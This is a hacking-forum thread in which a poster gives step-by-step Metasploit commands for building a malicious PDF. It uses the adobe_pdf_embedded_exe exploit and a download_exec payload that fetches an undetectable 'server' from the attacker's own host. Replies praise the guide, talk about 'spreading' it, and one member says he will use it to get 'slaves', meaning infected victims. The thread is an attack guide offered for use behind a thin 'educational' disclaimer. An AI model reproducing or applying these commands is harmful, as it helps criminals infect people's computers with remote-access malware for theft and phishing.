Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Tutorial - How to Infect a PDF File

Hi guys!

This tutorial will be infecting PDF files.
This is made for educational purposes only.

Things you need
Metasploit
A PDF Document
A FUD Server


You'll need a place where you can upload your FUD Server and get direct download links from it. I use Dropbox, you can use any website you want.

Install Metasploit and have a PDF Document ready. (Once 50+ post will include links)

Now we are going to infect the PDF Document.

1. Open Metasploit Console

2. Once the console type in
"use exploit/windows/fileformat/adobe_pdf_embedded_exe"
If you did it correct it would say "msf exploit (adobe_pdf_embedded_exe) >

3. Type this in
"set payload windows/download_exec"
When done correct it says "payload => windows/download_exec"

4. Type this in the console
"Set INFILENAME root/Desktop/infected.pdf"
Example: Set INFILENAME root/Downloads/infected.pdf

5. Type this in
"set url "link.to.your.server"
Example: set url download com/stub exe (spaces are dots)

6. Now final step is to type in
"Exploit"

If you have any questions drop it down there don't pm me because I can't pm you back, If someone has already made this Ill try to take this down. If you want more of these spreading methods just give me positive feedback Ill be encouraged to do more.

Can someone tell me how to do the Spolier where they have to press it to show more, thanks again.

Kind Regards, Crip

If any typing errors please tell me.
(May 13, 2017 08:51 AM)Crippy Wrote:  Hi guys!

This tutorial will be infecting PDF files.
This is made for educational purposes only.

Things you need
Metasploit
A PDF Document
A FUD Server


You'll need a place where you can upload your FUD Server and get direct download links from it. I use Dropbox, you can use any website you want.

Install Metasploit and have a PDF Document ready. (Once 50+ post will include links)

Now we are going to infect the PDF Document.

1. Open Metasploit Console

2. Once the console type in
"use exploit/windows/fileformat/adobe_pdf_embedded_exe"
If you did it correct it would say "msf exploit (adobe_pdf_embedded_exe) >

3. Type this in
"set payload windows/download_exec"
When done correct it says "payload => windows/download_exec"

4. Type this in the console
"Set INFILENAME root/Desktop/infected.pdf"
Example: Set INFILENAME root/Downloads/infected.pdf

5. Type this in
"set url "link.to.your.server"
Example: set url download com/stub exe (spaces are dots)

6. Now final step is to type in
"Exploit"

If you have any questions drop it down there don't pm me because I can't pm you back, If someone has already made this Ill try to take this down. If you want more of these spreading methods just give me positive feedback Ill be encouraged to do more.

Can someone tell me how to do the Spolier where they have to press it to show more, thanks again.

Kind Regards, Crip

If any typing errors please tell me.

I goes thiss is outdated and not working for other devices
Thanks for this will try it later
(May 13, 2017 09:58 AM)CodeDragon Wrote:  Thanks for this will try it later

Your welcome.
Thank you for the simple guide. I will be using this to obtain some slaves. I will contact you if I encounter any problems.
(May 13, 2017 10:45 AM)Spartan- Wrote:  Thank you for the simple guide. I will be using this to obtain some slaves. I will contact you if I encounter any problems.

No problem buddy
good tutorial, thank you very much,
(May 14, 2017 04:27 AM)Littleman99 Wrote:  good tutorial, thank you very much,
Thanks, your welcome!
(May 13, 2017 09:47 AM)Kryptonet Wrote:  I goes thiss is outdated and not working for other devices

Still works not everyone has lastest PDF viewer. Its worth a go only about 10 minutes to setup and start spreading.

(May 13, 2017 09:47 AM)Kryptonet Wrote:  I goes thiss is outdated and not working for other devices

Still works not everyone has lastest PDF viewer. Its worth a go only about 10 minutes to setup and start spreading.
nice tut .
This is the equivalent of using Java Driveby.

You will still get some installs, but the execution rate is so low it's
really not worth the effort.
Posting back to read this later as I am on mobile and this looks interesting :3
(May 17, 2017 08:41 AM)YayHar Wrote:  This is the equivalent of using Java Driveby.

You will still get some installs, but the execution rate is so low it's
really not worth the effort.

Correct. Although there is still a lot of Nigerian scammers using this for phishing.
[Image: V9Gredc.png]
(May 17, 2017 08:33 AM)rayko0 Expert Wrote:  nice tut .

Thanks.
Thanks for sharing buddy, much appreciated indeed. Have a nice day! 🤝
Signature ~ Best regards, Hopsin.
HF Member Since 2010


Possibly Related Threads...
Thread / Author Replies Views Last Post
by LagosianDec 23, 2024 07:08 AM 29 2,514 Dec 23, 2024 07:08 AM
Last Post: DramaKing
by PaRaNo1DApr 25, 2024 06:44 AM 121 4,788 Apr 25, 2024 06:44 AM
Last Post: Occulta91
by sdGuruMay 2, 2023 10:04 AM 39 3,972 May 2, 2023 10:04 AM
Last Post: Dread.Reaper